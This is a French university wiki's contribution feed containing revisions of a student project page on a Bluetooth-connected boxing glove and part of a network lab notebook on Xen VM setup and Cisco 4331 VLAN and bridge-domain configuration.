<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Smaia</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Smaia"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Smaia"/>
		<updated>2026-05-13T20:39:25Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gant_de_Boxe_connect%C3%A9&amp;diff=37415</id>
		<title>Gant de Boxe connecté</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gant_de_Boxe_connect%C3%A9&amp;diff=37415"/>
				<updated>2017-01-19T09:28:54Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Poster */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
De nos jours, nous vivons entourés de plus en plus d'objets connectés y compris dans le domaine sportif afin d'assister (ou de juger/arbitrer).&lt;br /&gt;
Dans le cadre du module d'Internet des Objets, nous avons choisi de réaliser un prototype de gant de boxe connecté. Ce prototype permettra au boxeur et à son équipe de connaître le ratio de coups qui auront atteint leur cible.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
Le gant utilisé contiendra un (ou plusieurs) capteur de pression placé sur la surface de frappe, ainsi qu'un accéléromètre. Le premier nous permettra de compter le nombre de coups atteints et le second le nombre de coups tentés.&lt;br /&gt;
Enfin nous utiliserons un arduino afin de communiquer en BLE (Bluetooth Low Energy) avec une application Android qui affichera les résultats.&lt;br /&gt;
&lt;br /&gt;
=Matériel utilisé=&lt;br /&gt;
Par gant:&lt;br /&gt;
&lt;br /&gt;
*Accéléromètre &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt; &lt;br /&gt;
*Capteurs de pression flexibles carrés (x4) &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçus]&amp;lt;/span&amp;gt; &lt;br /&gt;
*RFduino &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt; &lt;br /&gt;
*Batterie USB &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Suivi de réalisation=&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/01)&lt;br /&gt;
 | Recherche du sujet et du matériel / Mise en place du cahier des charges&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (05/01)&lt;br /&gt;
 | Début du développement de la partie Arduino et test de récupération de données&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (12/01)&lt;br /&gt;
 | Développement de l'application Android : réception des données&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (13/01)&lt;br /&gt;
 | Développement de l'application Android : Traitement des données&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==1ère Séance==&lt;br /&gt;
Lors de cette séance, nous avons déterminé le fonctionnement de notre projet mais aussi les technologies à utiliser.&lt;br /&gt;
Nous avons donc commencé par rechercher les différentes composants nécessaires à notre projet. Nous avons aussi rechercher certaines informations quand au développement de l'application.&lt;br /&gt;
&lt;br /&gt;
De plus, une fois les éléments reçus, nous avons réalisé le circuit.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Circuit_IOT.jpg|center|250px]]&lt;br /&gt;
&lt;br /&gt;
==2ème Séance==&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons commencé à programmer la partie arduino en ayant au préalable importé les différentes librairies du RFduino. Nous nous sommes renseigné sur les différentes frameworks existantes pour la programmation de BLE. &lt;br /&gt;
Suite à cela, nous avons choisi de faire une application android communiquant en bluetooth. Celle-ci serait d'avantage mobile qu'une application ordinateur et plairait d'avantage à un sportif qui pourrait voir directement ses résultats pendant son entraînement ou à son entraîneur qui transporte plus facilement une tablette qu'un ordinateur.&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons également commencé à tester notre matériel avec un programme simple sur Arduino qui nous permet de voir que nous recevons bien les données voulues.&lt;br /&gt;
&lt;br /&gt;
==3ème Séance==&lt;br /&gt;
Après avoir réalisé en partie le côté RFduino, nous sommes maintenant passés à la partie Android. Pour cela, nous avons choisi d'utiliser l'IDE Android Studio qui va nous permettre de créer notre application.&lt;br /&gt;
Cette application devra donc activer le Bluetooth de la tablette s'il n'est pas activé, scanner les alentours afin de capter l'ID du RFduino puis enfin s'y connecter.&lt;br /&gt;
Nous arrivons donc bien à détecter notre RFduino. Il nous reste maintenant à nous y connecter afin de pouvoir recevoir les valeurs des capteurs.&lt;br /&gt;
Une fois ces valeurs bien reçues, nous devrons les afficher sur l'application sous forme de tableau.&lt;br /&gt;
[[Fichier:AppData.png|center|250px]]&lt;br /&gt;
&lt;br /&gt;
==4ème séance==&lt;br /&gt;
Nous avons donc réussi à connecter le RFduino avec l'application. Nous avons donc coder la réception des données du côté de l'application mais aussi le traitement de ces données.&lt;br /&gt;
On enregistre les valeurs reçues puis on affiche les données importantes pour un boxeur : le nombre de coups tentés et le nombre de coups touchés.&lt;br /&gt;
De plus, nous avons également différencié trois grands types de coups &amp;quot;fréquents&amp;quot; lors d'un match de boxe : le jab, le coup droit et l'uppercut.&lt;br /&gt;
Chacun de ces coups suivant principalement un axe différent, il est relativement simple de les différencier.&lt;br /&gt;
Ainsi on peut savoir si l'utilisateur différencie ses coups ou s'il reste trop souvent dans la même stratégie.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:AppRes.png|center|250px]]&lt;br /&gt;
&lt;br /&gt;
=Poster=&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poster.png|center|1500px]]&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Poster.png&amp;diff=37414</id>
		<title>Fichier:Poster.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Poster.png&amp;diff=37414"/>
				<updated>2017-01-19T09:27:40Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : Poster ConnectGloves&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Poster ConnectGloves&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gant_de_Boxe_connect%C3%A9&amp;diff=37109</id>
		<title>Gant de Boxe connecté</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gant_de_Boxe_connect%C3%A9&amp;diff=37109"/>
				<updated>2017-01-10T07:48:37Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* 1ère Séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
De nos jours, nous vivons entourés de plus en plus d'objets connectés y compris dans le domaine sportif afin d'assister (ou de juger/arbitrer).&lt;br /&gt;
Dans le cadre du module d'Internet des Objets, nous avons choisi de réaliser un prototype de gant de boxe connecté. Ce prototype permettra au boxeur et à son équipe de savoir en temps réel le ratio de coups qui auront atteint leur cible.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
Le gant utilisé contiendra un (ou plusieurs) capteur de pression placé sur la surface de frappe, ainsi qu'un accéléromètre. Le premier nous permettra de compter le nombre de coups atteints et le second le nombre de coups tentés.&lt;br /&gt;
Enfin nous utiliserons un arduino afin de communiquer en BLE (Bluetooth Low Energy) avec l'ordinateur du coach qui affichera les résultats.&lt;br /&gt;
&lt;br /&gt;
=Matériel utilisé=&lt;br /&gt;
Par gant:&lt;br /&gt;
&lt;br /&gt;
*Accéléromètre &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt; &lt;br /&gt;
*Capteurs de pression flexibles carrés (x4) &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçus]&amp;lt;/span&amp;gt; &lt;br /&gt;
*RFduino + module BLE &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt; &lt;br /&gt;
*Dongle bluetooth (pour PC)&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt; &lt;br /&gt;
*Batterie USB &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Suivi de réalisation=&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/01)&lt;br /&gt;
 | Recherche du sujet et du matériel&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (05/01)&lt;br /&gt;
 | &lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==1ère Séance==&lt;br /&gt;
Lors de cette séance, nous avons déterminé le fonctionnement de notre projet mais aussi les technologies à utiliser.&lt;br /&gt;
&lt;br /&gt;
==2ème Séance==&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons commencé à programmer la partie arduino en ayant au préalable importé les différentes librairies du RFduino. Nous nous sommes renseigné sur les différentes frameworks existantes pour la programmation de BLE. &lt;br /&gt;
Suite à cela, nous avons choisi de faire une application android communiquant en bluetooth. Celle-ci serait d'avantage mobile qu'une application ordinateur et plairait d'avantage à un sportif qui pourrait voir directement ses résultats pendant son entraînement.&lt;br /&gt;
&lt;br /&gt;
=Poster=&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gant_de_Boxe_connect%C3%A9&amp;diff=37105</id>
		<title>Gant de Boxe connecté</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gant_de_Boxe_connect%C3%A9&amp;diff=37105"/>
				<updated>2017-01-10T07:40:28Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Matériel utilisé */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
De nos jours, nous vivons entourés de plus en plus d'objets connectés y compris dans le domaine sportif afin d'assister (ou de juger/arbitrer).&lt;br /&gt;
Dans le cadre du module d'Internet des Objets, nous avons choisi de réaliser un prototype de gant de boxe connecté. Ce prototype permettra au boxeur et à son équipe de savoir en temps réel le ratio de coups qui auront atteint leur cible.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
Le gant utilisé contiendra un (ou plusieurs) capteur de pression placé sur la surface de frappe, ainsi qu'un accéléromètre. Le premier nous permettra de compter le nombre de coups atteints et le second le nombre de coups tentés.&lt;br /&gt;
Enfin nous utiliserons un arduino afin de communiquer en BLE (Bluetooth Low Energy) avec l'ordinateur du coach qui affichera les résultats.&lt;br /&gt;
&lt;br /&gt;
=Matériel utilisé=&lt;br /&gt;
Par gant:&lt;br /&gt;
&lt;br /&gt;
*Accéléromètre &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt; &lt;br /&gt;
*Capteurs de pression flexibles carrés (x4) &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçus]&amp;lt;/span&amp;gt; &lt;br /&gt;
*RFduino + module BLE &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt; &lt;br /&gt;
*Dongle bluetooth (pour PC)&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt; &lt;br /&gt;
*Batterie USB &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;[reçu]&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Suivi de réalisation=&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/01)&lt;br /&gt;
 | Recherche du sujet et du matériel&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (05/01)&lt;br /&gt;
 | &lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==1ère Séance==&lt;br /&gt;
Lors de cette séance, nous avons déterminé le fonctionnement de notre projet mais aussi les technologies à utiliser.&lt;br /&gt;
&lt;br /&gt;
=Poster=&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36019</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36019"/>
				<updated>2016-12-14T09:57:54Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Configuration PCBX */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (17/11 - additionnel)&lt;br /&gt;
 | Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | RAID5 - Cryptage de données&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (additionnel - 7-8/12/2016)&lt;br /&gt;
 | Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 9 (12/12)&lt;br /&gt;
 | Configuration DHCP - PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance additionnelle (14/12/2016)&lt;br /&gt;
 | Configuration PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère séance ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e et 3e séance (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e séance====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
